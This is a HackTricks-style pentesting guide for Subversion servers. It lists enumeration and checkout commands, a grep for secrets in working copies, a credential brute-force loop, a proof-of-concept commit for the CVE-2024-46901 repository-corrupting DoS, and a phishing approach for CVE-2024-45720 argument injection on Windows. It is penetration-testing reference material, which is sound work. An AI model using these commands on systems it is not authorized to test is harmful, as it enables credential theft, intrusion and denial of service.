// HackTricks · Network Services

3690/tcp - Pentesting Subversion (SVN) Server

3690/tcp - Pentesting Subversion (SVN) Server

Basic Information

Subversion (SVN) is a centralized version control system (Apache license) used for software versioning and revision control.

Default port: 3690/tcp (svnserve). It can also be exposed via HTTP/HTTPS through mod_dav_svn and via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeration

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf may allow anon-access = read (or even write). If you can list, try checkout to dump secrets, scripts, CI tokens.
  • Repositories frequently store build pipelines, deployment keys, and database credentials in versioned config files. Grep the working copy after checkout: grep -R "password\|secret\|token" -n ..
  • If svn+ssh is enabled, user shells often allow restricted svnserve commands; attempt ssh user@host svnserve -t with crafted subcommands to bypass wrappers.

Bruteforcing credentials (svnserve)

SASL or password-file authentication does not imply an account-lockout policy. Confirm authorization and throttling in the specific deployment before password testing, and use a small approved candidate set.[3]

for u in admin dev ci; do
  for p in $(cat /tmp/passlist); do
    svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
  done
done

Recent Vulnerabilities (practical impact)

mod_dav_svn DoS via control characters (CVE-2024-46901)

  • A user with commit rights can write a path containing control chars (e.g. \x01, \x7f) that corrupts the repository, making later checkouts/logs fail and potentially crashing mod_dav_svn workers.[1]
  • Affects Subversion ≤ 1.14.4 when served through HTTP(S) (mod_dav_svn). Fixed in 1.14.5.[1]
  • PoC commit with svnmucc (requires valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • After the commit, normal clients may crash or refuse updates until admins manually remove the revision with svnadmin dump/filter/load.

Windows argument injection in svn client (CVE-2024-45720)

  • On Windows, “best-fit” character encoding in svn.exe allows command-line argument injection when processing specially crafted non‑ASCII paths/URLs, potentially leading to arbitrary program execution.[2]
  • Affects Subversion ≤ 1.14.3 on Windows only; fixed in 1.14.4. Attack surface: phishing a developer to run svn on an attacker-controlled URL/path.[2]
  • Pentest angle: if you control a network share or ZIP given to a Windows dev, name a repo URL or working-copy path containing best-fit bytes that decode into " & calc.exe & "-style injected args, then trick the victim to run svn status or similar on that path.

Notes for Exploitation Workflow

  1. Check access method: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), or svn+ssh://.
  2. Try anonymous read first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere.
  3. Enumerate hooks: hooks/pre-commit, post-commit scripts sometimes contain plaintext credentials or hostnames.
  4. Leverage svn:externals to pull additional paths from other hosts; list them with svn propget svn:externals -R . after checkout.
  5. Version leaks: HTTP response headers from mod_dav_svn may expose the Subversion and Apache versions; compare confirmed versions with the applicable advisories rather than treating a banner as proof.[1][2]
  6. If you obtain filesystem access to the repo, svnadmin dump/svnlook author/svnlook dirs-changed allow offline analysis without credentials.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.